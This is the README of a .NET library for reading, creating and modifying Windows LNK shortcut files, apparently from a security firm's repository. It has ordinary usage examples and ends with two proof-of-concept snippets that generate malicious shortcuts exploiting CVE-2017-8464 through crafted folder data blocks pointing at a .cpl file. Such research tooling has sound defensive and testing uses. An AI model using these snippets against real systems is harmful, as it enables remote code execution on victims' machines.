# ShellLink
A .NET Class Library for processing ShellLink (LNK) files as documented in [MS-SHLLINK](https://msdn.microsoft.com/en-us/library/dd871305.aspx). It allows for reading, creating and modifying ShellLink (LNK) files.

Note this Class Library depends on the [PropertyStore](https://github.com/securifybv/PropertyStore) Class Library.

![.NET Core](https://github.com/securifybv/ShellLink/workflows/.NET%20Core/badge.svg)

### Create
```
Shortcut.CreateShortcut(@"%SystemRoot%\System32\calc.exe")
.WriteToFile(@"calc.lnk");
```

```
Shortcut.CreateShortcut(@"%SystemRoot%\System32\cmd.exe",
"/c calc.exe",
@"%SystemRoot%\System32\calc.exe", 0)
.WriteToFile(@"calc2.lnk");
```

```
new Shortcut()
{

{
Path = @"C:\Windows\System32\calc.exe"
}
}.WriteToFile(@"calc3.lnk");
```

### Modify
```
Shortcut PowerShellLnk = Shortcut.ReadFromFile(
Environment.ExpandEnvironmentVariables(@"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk")
);
// change the background color
PowerShellLnk.ExtraData.ConsoleDataBlock.FillAttributes &= ~FillAttributes.BACKGROUND_BLUE;
PowerShellLnk.WriteToFile(@"PowerShell.lnk");
```

### CVE-2017-8464 | LNK Remote Code Execution Vulnerability

#### SpecialFolderDataBlock
```
Shortcut poc = new Shortcut()
{
IconIndex = 0,
LinkFlags = LinkFlags.IsUnicode,
LinkTargetIDList = new CplLinkTargetIDList(@"E:\target.cpl"),
};
int Index = poc.LinkTargetIDList.ItemIDList.Count - 1;
poc.ExtraData.SpecialFolderDataBlock = new SpecialFolderDataBlock()
{
SpecialFolderID = CSIDL.CSIDL_CONTROLS,
Offset = poc.LinkTargetIDList.GetOffsetByIndex(Index)
};
poc.WriteToFile(@"CVE-2017-8464.lnk");
```

#### KnownFolderDataBlock
```
Shortcut poc2 = new Shortcut()
{
IconIndex = 0,
LinkFlags = LinkFlags.IsUnicode,
LinkTargetIDList = new CplLinkTargetIDList(@"E:\target.cpl")
};
int Index = poc2.LinkTargetIDList.ItemIDList.Count - 1;
poc2.ExtraData.KnownFolderDataBlock = new KnownFolderDataBlock()
{
KnownFolderID = KNOWNFOLDERID.FOLDERID_ControlPanelFolder,
Offset = poc2.LinkTargetIDList.GetOffsetByIndex(Index)
};
poc2.WriteToFile(@"CVE-2017-8464-2.lnk");
